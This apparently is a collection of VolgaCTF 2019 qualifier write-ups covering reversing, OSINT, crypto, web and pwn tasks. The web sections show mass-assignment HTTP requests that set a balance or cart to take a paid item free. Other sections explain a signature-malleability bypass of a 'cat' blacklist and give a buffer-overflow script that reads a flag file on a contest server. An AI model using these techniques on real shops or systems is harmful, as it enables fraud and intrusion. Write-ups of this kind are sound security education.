It's recommended to read our responsive web version of this writeup.
It's a python extension. It use a lot SSE instructions when calculating the output. IDA doesn't decompile those SSE instructions, so I decided to reverse dynamically. The output looks like:
00000000008c9940 0000000000000000
2568e69da46159c0 b46da5e5efdc43c0
654018b0da1854c0 74717816b37052c0
189342d067b948c0 b1b631bae75f58c0
fcffffffffff2fc0 0000000000405bc0
76b339f91d7e30c0 299e0187fb335fc0
674018b0da185840 e4e2f02c66e14cc0
921e5604e0dd5940 a13c457f178541c0
0000000000405b40 0000000000000000
911e5604e0dd5940 a83c457f17854140
654018b0da185840 e8e2f02c66e14c40
84b339f91d7e30c0 2b9e0187fb335f40
02000000000030c0 0000000000405b40
1d9342d067b948c0 afb631bae75f5840
674018b0da1854c0 72717816b3705240
2668e69da46159c0 af6da5e5efdc4340
The c0
and 40
suffixs look like double floating numbers.
There's some interesting property of the output:
A = transform('\0\0...A\0...\0\0')
B = transform('\0\0...\0B...\0\0')
C = transform('\0\0...AB...\0\0')
A + B == C
At this point, I try to use genetic algorithm to search a flag since it is not a strong cipher.
It says that the flag looks like VolgaCTF{XXX_1s_........_......}
, but it is not accurate enough to find the flag.
Then I go back to look at the output, trying to figure out what it is.
The program calls a imported funtion cexp
-- exponential of complex number.
So I group every two numbers:
Output of '\0\0a\0...'
[ 9.70000000e+01, 0.00000000e+00]
[ 6.85893578e+01, -6.85893578e+01]
[ 5.93953698e-15, -9.70000000e+01]
[-6.85893578e+01, -6.85893578e+01]
[-9.70000000e+01, 0.00000000e+00]
[-6.85893578e+01, 6.85893578e+01]
[-5.93953698e-15, 9.70000000e+01]
[ 6.85893578e+01, 6.85893578e+01]
[ 9.70000000e+01, 0.00000000e+00]
[ 6.85893578e+01, -6.85893578e+01]
[ 5.93953698e-15, -9.70000000e+01]
[-6.85893578e+01, -6.85893578e+01]
[-9.70000000e+01, 0.00000000e+00]
[-6.85893578e+01, 6.85893578e+01]
[-5.93953698e-15, 9.70000000e+01]
[ 6.85893578e+01, 6.85893578e+01]
Output of '\0\0\0\0a\0...'
[ 9.70000000e+01, 0.00000000e+00]
[ 5.93953698e-15, -9.70000000e+01]
[-9.70000000e+01, 0.00000000e+00]
[-5.93953698e-15, 9.70000000e+01]
[ 9.70000000e+01, 0.00000000e+00]
[ 5.93953698e-15, -9.70000000e+01]
[-9.70000000e+01, 0.00000000e+00]
[-5.93953698e-15, 9.70000000e+01]
[ 9.70000000e+01, 0.00000000e+00]
[ 5.93953698e-15, -9.70000000e+01]
[-9.70000000e+01, 0.00000000e+00]
[-5.93953698e-15, 9.70000000e+01]
[ 9.70000000e+01, 0.00000000e+00]
[ 5.93953698e-15, -9.70000000e+01]
[-9.70000000e+01, 0.00000000e+00]
[-5.93953698e-15, 9.70000000e+01]
It looks like a sinusoid where the amplitude is the charcode, and the frequency is the position of that char. Running FFT on the output will recover the flag.
- Patch anti-debug at
sub_401794
:
__int64 sub_401794()
{
if ( getenv("LD_PRELOAD") != 0LL )
exit(0);
if ( ptrace(0, 0LL, 0LL, 0LL) < 0 )
exit(0);
return (unsigned int)(dword_6033A4++ + 1);
}
- Reverse it and implement decoding:
#!/usr/bin/env python
from pwn import *
from ctypes import *
import re
# VolgaCTF{ptr@ce_ant1_r3verse_@ll_in_va1n}
def rol( n , c ):
c %= 32
n &= 0xffffffff
r = ( ( n << c ) & 0xffffffff ) + ( n >> ( 32 - c ) )
return c_int( r ).value
def ror( n , c ):
c %= 32
n &= 0xffffffff
r = ( n >> c ) + ( ( n << ( 32 - c ) ) & 0xffffffff )
return c_int( r ).value
t = [0x04, 0x08, 0x15, 0x16, 0x23, 0x42, 0xA0, 0x15, 0x33, 0x97, 0x57, 0x1D, 0x7F, 0x45, 0x9C, 0x25 , 0x0]
r = [0] * 26
s = []
def func2( _a , _b ):
global r
a = s[ _a ]
b = s[ _b ]
n = r[0] + a
m = r[1] + b
for i in range( 1 , 12 + 1 ):
n = rol( m ^ n , m & 0x1f ) + r[ 2 * i ]
m = rol( n ^ m , n & 0x1f ) + r[ 2 * i + 1 ]
s[_a] = n
s[_b] = m
def de_func2( _a , _b ):
global r
n = s[_a]
m = s[_b]
for i in range( 12 , 0 , -1 ):
m = ror( m - r[ 2 * i + 1 ] , n & 0x1f ) ^ n
n = ror( n - r[ 2 * i ] , m & 0x1f ) ^ m
s[_a] = c_int( n - r[0] ).value
s[_b] = c_int( m - r[1] ).value
def encode():
global t , r , s
ptr = [0] * 4
a = 4
b = 4
buf = [0] * 4
ptr = [ 0x8faea09e , 0x60b671a , 0x606fe6cc , 0x30bb606b ]
r[0] = c_int( 0xB7E15163 ).value
for i in range( 1 , 26 ):
r[i] = c_int( r[ i - 1 ] - 0x61C88647 ).value
j , i , p , q , n = 0 , 0 , 0 , 0 , 26
m = max( n , b )
for k in range( 1 , 3 * m + 1 ):
r[i] = rol( c_int( q + r[i] + p ).value , 3 )
q = r[i]
i = ( i + 1 ) % n
ptr[j] = rol( c_int( q + ptr[j] + p ).value , c_int( q + p ).value & 0x1f )
p = ptr[j]
j = ( j + 1 ) % b
for i in range( ( len( s ) + 7 ) >> 3 ):
func2( 2 * i , 2 * i + 1 )
s = 'yuawn777'
s = [ u32( _ ) for _ in re.findall( '....' , s ) ]
encode()
# decode
s = open( './data.jac2' ).read()
s = [ u32( _ ) for _ in re.findall( '....' , s ) ]
for i in range( len(s) >> 1 ):
de_func2( 2 * i , 2 * i + 1 )
flag = ''.join( p32( _ ) for _ in s ).strip('\0')
print flag
Scientists found the oldest telescope This tool was used by seafarers from Portuge. British researchers report that scientists explore Arabian sea bottom. There are a lot of wrecks. Last week one of the Scientist journal published an article about discovering a special device. It’s looks like big coin with a hole in its centre. Historians classed it as an oldest device of its tipe. Researchers suggest that it was used in middle ages or mayby earlier. One of the most special detail of telescope is a pattern rounds telescope. It includes a Picture of the Earth. At the turn of the Middle ages that was associated with a Portuguese king. There is only one same devise has been fond before. But researchers don’t sure about age of it. Altogether there are more tahn hundred same artifacts. New one isn’t most old. But its’s unique with its decoration. Besides in the latest Middle ages navigator sed more precise devices
Just paste it in google search, and you'll find a website: https://www.ancient-origins.net/news-history-archaeology/oldest-astrolabe-0011641
Then you realize the paragraph is talking about astrolabe
not telescope
.
VolgaCTF{astrolabe}
Find out difference between the fake news and origin news.
- theflag
[https://www.instagram.com/p/BvmItadA1Fw/](https://www.instagram.com/p/BvmItadA1Fw/)
[https://www.instagram.com/p/BveGz6Sl8A3/](https://www.instagram.com/p/BveGz6Sl8A3/)
- is
[https://www.instagram.com/p/BvmIKXDAVr8/](https://www.instagram.com/p/BvmIKXDAVr8/)
[https://www.instagram.com/p/BvJex34Fe8Z/](https://www.instagram.com/p/BvJex34Fe8Z/)
- we
[https://www.instagram.com/p/BvmIFrdAdpK/](https://www.instagram.com/p/BvmIFrdAdpK/)
[https://www.instagram.com/p/BvQ8FRklkAK/](https://www.instagram.com/p/BvQ8FRklkAK/)
- ask
[https://www.instagram.com/p/BupDX8tn4DK/](https://www.instagram.com/p/BupDX8tn4DK/)
[https://www.instagram.com/p/BvmAIqXgZjw/](https://www.instagram.com/p/BvmAIqXgZjw/)
- you
[https://www.instagram.com/p/ButbLhdlMXx/](https://www.instagram.com/p/ButbLhdlMXx/)
[https://www.instagram.com/p/BvlyqodgZvm/](https://www.instagram.com/p/BvlyqodgZvm/)
- to
[https://www.instagram.com/p/BtvbtumnZ2c/](https://www.instagram.com/p/BtvbtumnZ2c/)
[https://www.instagram.com/p/BvlyelLgTFJ/](https://www.instagram.com/p/BvlyelLgTFJ/)
- make
[https://www.instagram.com/p/Buq5w04FBPh/](https://www.instagram.com/p/Buq5w04FBPh/)
[https://www.instagram.com/p/BvlxYTqAOku/](https://www.instagram.com/p/BvlxYTqAOku/)
- writeup
[https://www.instagram.com/p/Bu6X0OTnVQ5/](https://www.instagram.com/p/Bu6X0OTnVQ5/)
[https://www.instagram.com/p/BvlxAJyASSu/](https://www.instagram.com/p/BvlxAJyASSu/)
- for
[https://www.instagram.com/p/BvgpwcNBN7P/](https://www.instagram.com/p/BvgpwcNBN7P/)
[https://www.instagram.com/p/BvlwIjZA-Ws/](https://www.instagram.com/p/BvlwIjZA-Ws/)
- this
[https://www.instagram.com/p/BvgYaxchRzP/](https://www.instagram.com/p/BvgYaxchRzP/)
[https://www.instagram.com/p/BvlwEm0gcOH/](https://www.instagram.com/p/BvlwEm0gcOH/)
- task
[https://www.instagram.com/p/BuWzZ_1Hpmp/](https://www.instagram.com/p/BuWzZ_1Hpmp/)
[https://www.instagram.com/p/BvkE3MRAMUU/](https://www.instagram.com/p/BvkE3MRAMUU/)
VolgaCTF{theflagisaskyoutomakewriteupforthistask}
The challenge was putting the flag in the database.
We have to use 1337
dollars to buy the flag.
But the default mount was 100 dollars, we don;t have enough money.
/robots.txt
give us a backup file shop-1.0.0.war
Download and decompile it with JD-GUI or other tools you prefer.
After reading the source code, we notice the vulnerability is mass assignment
reference about mass assignment
:https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md
And we reference this blog about Spring MVC, Protect Yourself From Mass Assignment
: https://domineospring.wordpress.com/2015/05/18/spring-mvc-proteja-se-do-mass-assignment/
@Entity
public class User
implements Serializable {
@Id
@GeneratedValue(strategy=GenerationType.IDENTITY)
private Integer id;
private String name;
private String pass;
private Integer balance;
@ManyToMany(targetEntity=Product.class, cascade={CascadeType.PERSIST, CascadeType.REFRESH})
private List<Product> cart;
public User() {
}
public User(String name, String pass, Integer balance) {
this.name = name;
this.pass = pass;
this.balance = balance;
}
We can easily modify name
、pass
and balance
.
shop.q.2019.volgactf.ru/profile?name=wow! such mass assignment!&Balance=123123
Let's focus on /buy
Request
@RequestMapping(value={"/buy"})
public String buy(@RequestParam Integer productId, @ModelAttribute(value="user") User user, RedirectAttributes redir, HttpServletRequest request) {
HttpSession session = request.getSession();
if (session.getAttribute("user_id") == null) {
return "redirect:index";
}
Product product = this.productDao.geProduct(productId);
if (product == null) {
redir.addFlashAttribute("message", (Object)"Product not found");
return "redirect:index";
}
if (product.getPrice() > user.getBalance()) {
redir.addFlashAttribute("message", (Object)"Not enough money");
return "redirect:index";
}
user.setBalance(Integer.valueOf(user.getBalance() - product.getPrice()));
user.getCartItems().add(product);
this.userDao.update(user);
redir.addFlashAttribute("message", (Object)"Successful purchase");
return "redirect:profile";
}
Because we can easily control the Balance
, this challenge can easy exploit by using /buy
request.
POST /buy HTTP/1.1
......
productId=4&Balance=123456
VolgaCTF{c6bc0c68f0d0dac189aa9031f8607dba}
The challenge's vulnerability is same as the v1.
But we cannot use /buy
request anymore.
@RequestMapping(value={"/buy"})
public String buy(@RequestParam Integer productId, @ModelAttribute(value="user") User user, RedirectAttributes redir, HttpServletRequest request) {
HttpSession session = request.getSession();
if (session.getAttribute("user_id") == null) {
return "redirect:index";
}
redir.addFlashAttribute("message", (Object)"Too easy");
return "redirect:index";
But there's a interesting things in /profile
@RequestMapping(value={"/profile"})
public String profile(@ModelAttribute(value="user") User user, Model templateModel, HttpServletRequest request) {
HttpSession session = request.getSession();
if (session.getAttribute("user_id") == null) {
return "redirect:index";
}
ArrayList cart = new ArrayList();
user.getCartItems().forEach(p -> cart.add(this.productDao.geProduct(p.getId())));
templateModel.addAttribute("cart", cart);
return "profile";
Let's give it a test!
POST /profile HTTP/1.1
......
cart[0].id=4
Nothing happened :(
After trace the getter and setter, we notice that the real name isn't cart
but CartItems
.
public List<Product> getCartItems() {
return this.cart;
}
public void setCartItems(List<Product> cart) {
this.cart = cart;
}
Let's exploit again with CartItems
POST /profile HTTP/1.1
......
CartItems[0].id=4
Then you'll see the flag in your profile.
VolgaCTF{e86007271413cc1ac563c6eca0e12b62}
Coding challenge :D
Google the value of Sbox, you'll find a paper of Partition-based Trapdoor Ciphers.
Implement the algorithm to recover the secret key.
Note:
- I can only find a picture of secret G's table, so I wrote a OCR using SVM to convert it to numbers.
u in t + V
impliesu + t in V
. Build a 1024 elements array for the existence of V, and check whetheru + t
is insideV
would be much faster.- In filtering stage, maintain an array of valid plain/cipher pair's indices instead of looping through all the pairs again.
- Generate all
2^15 * 1024
scores in parallel, than sort the scores at once instead of using priority queue.
This is a chal related to digital signature. we can do the following (I omit some useless things)
- sign a command
- call
ls
orcat
after authentication
cat
is black-listed command that forbid us to sign. However the way it check the black list is Base64Decode(input) == 'cat'
, and it is easy to bypass.
First use ls
command and we can see that flag is stored in flag
.
Then we can simply convert cat flag
into integer and factor it into a
* b
. Since RSA is malleable, sign(a * b) == (sign(a) * sign(b)) % n
, we can then get flag.
This is a classic LFSR problem..., except that we don't have a good way to reduce the number of possible sequences generated by the LFSR.
thank god we have a crpyto king!
@sasdf immediately post the solution and keep struggling with Beard Party
.
https://en.wikipedia.org/wiki/Berlekamp%E2%80%93Massey_algorithm
https://github.com/dqi/ctf_writeup/tree/master/2017/volgaquals/casino
the register length is 16, so we can simply bruteforce all possible start states. Also we can try to guess the start sequence in flag.html
-- it is <!DOCTYPE HTML>
.
Guessing.....
#!/usr/bin/env python
from pwn import *
import string , itertools
# VolgaCTF{1_h0pe_ur_wARM_up_a_1ittle}
host , port = 'warm.q.2019.volgactf.ru' , 443
y = remote( host , port )
pwd = 'v8&3mqPQebWFqM?x'
f = '/opt/warm/flag' # Seek file with something more sacred!
f = '/opt/warm/sacred'
y.sendlineafter( 'password!\n' , pwd.ljust( 0x64 , '\0' ) + f )
y.interactive()
- VolgaCTF{5t3g0_m4tr3shk4_in_4cti0n}
- VolgaCTF{5t3g0_m4tr3shk4_in_4cti0n}